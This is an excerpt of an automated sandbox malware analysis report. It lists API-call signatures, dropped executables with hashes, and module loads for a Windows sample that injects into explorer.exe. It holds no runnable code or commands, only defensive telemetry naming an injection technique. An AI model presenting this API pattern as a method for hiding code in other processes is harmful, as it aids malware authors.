Source: C:\Windows\System32\OpenWith.exe	Code function: 13_2_0000024AB87F1A90 NtAcceptConnectPort,NtAcceptConnectPort,RtlAddVectoredExceptionHandler,	13_2_0000024AB87F1A90
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_2_0000024AB87F1CD0 RtlAllocateHeap,NtAcceptConnectPort,FindCloseChangeNotification,	13_2_0000024AB87F1CD0
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_2_0000024AB87F15AC NtAcceptConnectPort,	13_2_0000024AB87F15AC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71032868 NtAcceptConnectPort,	14_2_000001FF71032868
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_00401668 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	19_2_00401668
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_00401561 NtAllocateVirtualMemory,	19_2_00401561
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_0040156C NtAllocateVirtualMemory,	19_2_0040156C
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_00401673 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	19_2_00401673
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_0040157E NtAllocateVirtualMemory,	19_2_0040157E
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_00401599 NtAllocateVirtualMemory,	19_2_00401599
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_0040169C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	19_2_0040169C
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_0040159F NtAllocateVirtualMemory,	19_2_0040159F
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_004016A1 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	19_2_004016A1
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_004016AA NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	19_2_004016AA
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_004015AB NtAllocateVirtualMemory,	19_2_004015AB
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_00401668 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	22_2_00401668
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_00401561 NtAllocateVirtualMemory,	22_2_00401561
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_0040156C NtAllocateVirtualMemory,	22_2_0040156C
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_00401673 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	22_2_00401673
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_0040157E NtAllocateVirtualMemory,	22_2_0040157E
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_004025C5 NtEnumerateKey,	22_2_004025C5
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_00401599 NtAllocateVirtualMemory,	22_2_00401599
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_0040169C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	22_2_0040169C
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_0040159F NtAllocateVirtualMemory,	22_2_0040159F
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_004016A1 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	22_2_004016A1
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_004016AA NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	22_2_004016AA
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_004015AB NtAllocateVirtualMemory,	22_2_004015AB
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_00580607 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	24_2_00580607
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A4B92 RtlMoveMemory,NtUnmapViewOfSection,	25_2_030A4B92
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A33C3 NtQueryInformationFile,	25_2_030A33C3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A342B NtQueryObject,NtQueryObject,RtlMoveMemory,	25_2_030A342B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,	25_2_030A349B

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403532

Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Code function: 0_2_00406DC6	0_2_00406DC6
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Code function: 0_2_0040759D	0_2_0040759D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0312F3E8	6_2_0312F3E8
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_0000024AB895279C	13_3_0000024AB895279C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_0000024AB8951BA6	13_3_0000024AB8951BA6
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_0000024AB8952C3C	13_3_0000024AB8952C3C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_0000024AB8954A38	13_3_0000024AB8954A38
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_0000024AB8955E7C	13_3_0000024AB8955E7C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_0000024AB895557C	13_3_0000024AB895557C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_0000024AB89558FC	13_3_0000024AB89558FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_0000024AB89524F7	13_3_0000024AB89524F7
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BF5BD8	13_3_00007DF488BF5BD8
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C17318	13_3_00007DF488C17318
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BFD850	13_3_00007DF488BFD850
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C46834	13_3_00007DF488C46834
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C37860	13_3_00007DF488C37860
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CB780C	13_3_00007DF488CB780C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C217C4	13_3_00007DF488C217C4
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C2C7E8	13_3_00007DF488C2C7E8
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C077A0	13_3_00007DF488C077A0
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C2F954	13_3_00007DF488C2F954
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CC78D8	13_3_00007DF488CC78D8
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CC58AC	13_3_00007DF488CC58AC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BF29FC	13_3_00007DF488BF29FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C46A10	13_3_00007DF488C46A10
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BE4A14	13_3_00007DF488BE4A14
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C34A14	13_3_00007DF488C34A14
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C3A9C4	13_3_00007DF488C3A9C4
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C46B20	13_3_00007DF488C46B20
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C0EC44	13_3_00007DF488C0EC44
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BF0C44	13_3_00007DF488BF0C44
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BE1BFC	13_3_00007DF488BE1BFC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C38BE8	13_3_00007DF488C38BE8
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CC7CF4	13_3_00007DF488CC7CF4
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C39E68	13_3_00007DF488C39E68
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CC3DE0	13_3_00007DF488CC3DE0
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CCCF3C	13_3_00007DF488CCCF3C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C56F20	13_3_00007DF488C56F20
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C2CEC4	13_3_00007DF488C2CEC4
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BFBEC4	13_3_00007DF488BFBEC4
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CBC01C	13_3_00007DF488CBC01C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C46F78	13_3_00007DF488C46F78
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C36FA0	13_3_00007DF488C36FA0
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C4B094	13_3_00007DF488C4B094
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C840A0	13_3_00007DF488C840A0
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CC8238	13_3_00007DF488CC8238
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C2D210	13_3_00007DF488C2D210
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CC11BC	13_3_00007DF488CC11BC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CD41DC	13_3_00007DF488CD41DC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BF3314	13_3_00007DF488BF3314
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C2C45C	13_3_00007DF488C2C45C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C5A3F4	13_3_00007DF488C5A3F4
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CD93FC	13_3_00007DF488CD93FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BEE414	13_3_00007DF488BEE414
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CC83B8	13_3_00007DF488CC83B8
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CC73A0	13_3_00007DF488CC73A0
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C38534	13_3_00007DF488C38534
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C4F4FC	13_3_00007DF488C4F4FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BF4480	13_3_00007DF488BF4480
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CC8750	13_3_00007DF488CC8750
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488CD46F8	13_3_00007DF488CD46F8
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488C7B68C	13_3_00007DF488C7B68C
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BFD688	13_3_00007DF488BFD688
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_2_0000024AB87F0C5C	13_2_0000024AB87F0C5C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71032D00	14_2_000001FF71032D00
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7102262C	14_2_000001FF7102262C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7103E368	14_2_000001FF7103E368
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7105CBBC	14_2_000001FF7105CBBC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF710663FC	14_2_000001FF710663FC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71060238	14_2_000001FF71060238
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71037240	14_2_000001FF71037240
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7102C254	14_2_000001FF7102C254
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71035AAC	14_2_000001FF71035AAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71060D58	14_2_000001FF71060D58
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71055578	14_2_000001FF71055578
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7105959C	14_2_000001FF7105959C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71054DB0	14_2_000001FF71054DB0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7103F5E8	14_2_000001FF7103F5E8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71050440	14_2_000001FF71050440
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7105ECAC	14_2_000001FF7105ECAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7103DCB4	14_2_000001FF7103DCB4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF710214D0	14_2_000001FF710214D0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71046CE0	14_2_000001FF71046CE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7103C720	14_2_000001FF7103C720
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71053F38	14_2_000001FF71053F38
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7105A7E4	14_2_000001FF7105A7E4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7103CFE0	14_2_000001FF7103CFE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7104D81C	14_2_000001FF7104D81C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7104764C	14_2_000001FF7104764C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71043E6C	14_2_000001FF71043E6C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7104867C	14_2_000001FF7104867C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7103BE88	14_2_000001FF7103BE88
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71055E90	14_2_000001FF71055E90
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71036EF4	14_2_000001FF71036EF4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71040144	14_2_000001FF71040144
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7105E94C	14_2_000001FF7105E94C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7105F198	14_2_000001FF7105F198
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71053A00	14_2_000001FF71053A00
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71063A15	14_2_000001FF71063A15
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71054A18	14_2_000001FF71054A18
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7106083C	14_2_000001FF7106083C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7104705C	14_2_000001FF7104705C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF71054898	14_2_000001FF71054898
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF710558E0	14_2_000001FF710558E0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 14_2_000001FF7105F908	14_2_000001FF7105F908
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_0040223E	19_2_0040223E
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_004025C5	19_2_004025C5
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_004025C5	22_2_004025C5
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_2_0040154C	23_2_0040154C
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_00585072	24_2_00585072
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005AB06B	24_2_005AB06B
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005AB18B	24_2_005AB18B
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005A65E0	24_2_005A65E0
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_00587862	24_2_00587862
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_0059B892	24_2_0059B892
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_00584883	24_2_00584883
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005AA919	24_2_005AA919
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005A6A78	24_2_005A6A78
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_00569A00	24_2_00569A00
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_00589C03	24_2_00589C03
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: 24_2_005ABFC0	24_2_005ABFC0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A2198	25_2_030A2198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030BB35C	25_2_030BB35C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030AC2F9	25_2_030AC2F9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030F4438	25_2_030F4438
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030BB97E	25_2_030BB97E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030C5F08	25_2_030C5F08
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 25_2_030A6E6A	25_2_030A6E6A

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\F324.exe 82A6847B83BF25CB582BB942735A32197BD9B7B490CE50F34C4976005F4F9BED
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\F557.exe 2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe 2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\D4C0.vmt.exe 09846F324BEE9384EE50934E61B417FDE37B86D4CA60530E77C4D63920D3E94C

Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 030A7F70 appears 32 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 030A8801 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: String function: 005813C2 appears 69 times
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: String function: 0057BF00 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Code function: String function: 00581A00 appears 39 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6252 -s 720

Source: xwREqjHUEv.exe, 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenameWiFiDisplay.exeDVarFileInfo$ vs xwREqjHUEv.exe

Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
